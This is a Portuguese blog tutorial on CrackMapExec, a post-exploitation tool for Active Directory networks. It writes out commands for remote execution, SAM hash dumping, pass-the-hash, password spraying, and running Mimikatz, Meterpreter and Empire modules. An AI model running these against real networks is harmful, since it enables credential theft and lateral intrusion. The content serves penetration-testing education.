Por Maycon Barbosa

/ Em Segurança da Informação /

Postado em

jan 21, 2021

O poder do CrackMapExec

CrackMapExec (também conhecido como CME) é uma ferramenta de pós-exploração que ajuda a automatizar a avaliação de segurança de grandes redes que utilizam o Active Directory. Sua construção baseada em exploração (e não proteção) segue o conceito de “Living off the Land”: abusar dos recursos/protocolos integrados do Active Directory para utilizar-se de sua funcionalidade e assim passar despercebido pela maioria das soluções de proteção de endpoint/HIDS/IDS/IPS.

Embora destinado a ser usado principalmente para fins ofensivos, o CME pode ser usado com caráter defensivo para avaliar os privilégios das contas, encontrar possíveis configurações incorretas e simular cenários de ataque.

Enumeração de rede

A primeira coisa que você pode fazer para descobrir os ativos que estão na rede é utilizar o comando:

#~ crackmapexec 192.168.0.0/24

Execução de Comando

O CrackMapExec permite executar comandos remotos diretamente ao sistema operacional. Entretanto, a ferramenta requer credenciais com permissões administrativas, então, o CME informa automaticamente se o conjunto de credenciais que você está usando tem acesso de administrador a um host, acrescentando ‘(Pwn3d!)’ à saída quando a autenticação for bem-sucedida.

Métodos de Execução

O CME tem três métodos diferentes de execução de comando:

Wmiexec – Executa comandos via WMI.

Atexec – Executa comandos agendados por uma tarefa.

Smbexec – Executa comandos criando e executando serviços.

Por padrão, o CME fará failover para um método de execução diferente caso o anterior venha a falhar. Ele tenta executar comandos na seguinte ordem:

Wmicexec
Atexec
Smbexec

Se você deseja forçar o CME a usar apenas um método de execução, você pode especificar qual deles usando o sinalizador –exec-method.

Executando comandos

No exemplo a seguir, tentamos executar whoami no alvo usando o sinalizador -x:

#~ crackmapexec 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -x whoami

Você também pode executar comandos PowerShell diretamente usando o sinalizador -X:

#~ crackmapexec 192.168.10.11 -u Administrator -p ‘P@ssw0rd’ -X ‘$PSVersionTable’

Verificando usuários conectados

Utilizando o sinalizador —lusers, conseguimos verificar todos os usuários que estão conectados ao IP alvo.

#~ crackmapexec 192.168.0.0/24 -u ‘Administrator’ -p ‘PASS’ –lusers

Ataques voltado a credenciais

Para realizar a extração de hashes SAM no formato NTLM, utilizamos a opção –sam

#~ crackmapexec  192.168.215.104 -u ‘Administrator’ -p ‘PASS’ –local-auth –sam

Pass-the-Hash

O CME oferece suporte à autenticação via SMB usando ataques Passing-The-Hash com o sinalizador -H:

#~ crackmapexec  smb <target(s)> -u username -H LMHASH:NTHASH

#~ crackmapexec   smb <target(s)> -u username -H NTHASH

Sessões NULL

Você pode entrar com uma sessão nula usando ” como nome de usuário e / ou senha.

Exemplos:

#~ crackmapexec  smb <target(s)> -u ” -p ”

Força bruta e password spraying

Podemos fazer isso apontando crackmapexec para a sub-rede e passando as credenciais:

#~ crackmapexec  smb 10.0.2.0/24 -u ‘admin’ -p ‘P@ssw0rd

Ao especificar um arquivo ou vários valores, o CME fará logins de força bruta automaticamente para todos os alvos usando o protocolo especificado:

Exemplos:

Módulos

A partir da versão 3.1, a maneira como os módulos são carregados e usados ​​mudou para tornar o CME mais portátil e permitir que ele seja empacotado.

Com a versão 4.0, cada protocolo pode ter seu próprio conjunto de módulos.

crackmapexec -L

[*] empire_exec – Usa a API REST do Empire para gerar um inicializador para o listener especificado e executá-lo

[*] shellinject – Baixa o shellcode bruto especificado e o injeta na memória usando o script Invoke-Shellcode.ps1 do PowerSploit

[*] rundll32_exec – Executa um comando usando rundll32 e o interpretador javascript nativo do Windows

[*] com_exec – Executa um comando usando um script para ignorar a lista de permissões

[*] tokenrider – Permite enumeração automática de token, personificação e propagação lateral em massa usando privilégios em vez de credenciais despejadas

[*] mimikatz – executa o script Invoke-Mimikatz.ps1 do PowerSploit

[*] tokens – os tokens disponíveis usando Invoke-TokenManipulation do Powersploit

[*] peinject – Baixa o DLL / EXE especificado e o injeta na memória usando o script Invoke-ReflectivePEInjection.ps1 do PowerSploit

[*]  Powerview – para funções do PowerView

[*] mimikittenz – Executa Mimikittenz

[*] enum_chrome – Usa o script Invoke-Mimikatz.ps1 do Powersploit para descriptografar senhas salvas do Chrome

[*] metinject – Baixa o stager Meterpreter e o injeta na memória usando o script Invoke-Shellcode.ps1 do PowerSploit

[*] eventvwr_bypass – Executa um comando usando o bypass UAC sem arquivo eventvwr.exe

Utilizando módulo

Para utilizar um módulo no CrackMapExec, é necessário utilizar o sinalizador -M:

Run cme <protocol> <target(s)> -M <module name>.

Por exemplo, para executar o módulo SMB Mimikatz:

#~ crackmapexec  smb <target(s)> -u Administrator -p ‘P@ssw0rd’ -M mimikatz

Visualizando opções de módulo:

cme <protocol> -M <module name> –options

As opções do módulo são especificadas com a opção “-o”. Todas as opções são especificadas na forma de KEY = valor (estilo msfvenom)

Exemplo:

cme <protocol> <target(s)> -u Administrator -p ‘P@ssw0rd’ -M mimikatz -o COMMAND=‘privilege::debug’

Módulos – MimiKatz

Obtendo Shells com CrackMapExec

Metasploit

Módulo Metasploit – Metinject

SMB para shell Meterpreter

Empire

Iniciar API RESTful

Executando empire com CrackmapExec

Juntando-se ao Empire & DeathStar

CrackMapExec pode implantar agentes Empire em máquinas comprometidas. Isso torna as atividades pós-exploração ainda mais fáceis, especialmente se usar os recursos de ataque automatizado do DeathStar. Usando o módulo empire_exec e especificando o listener que você deseja que os agentes se conectem, implantará e ativará os agentes em massa. Todas as credenciais coletadas podem ser importadas para o banco de dados de credenciais do CrackMapExec. 

Com todos esses recursos, o CrackMapExec pode facilitar qualquer invasor a se espalhar rapidamente por uma organização apenas com alguns comandos básicos, se demonstrando uma ótima ferramenta para pós exploração.

0

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *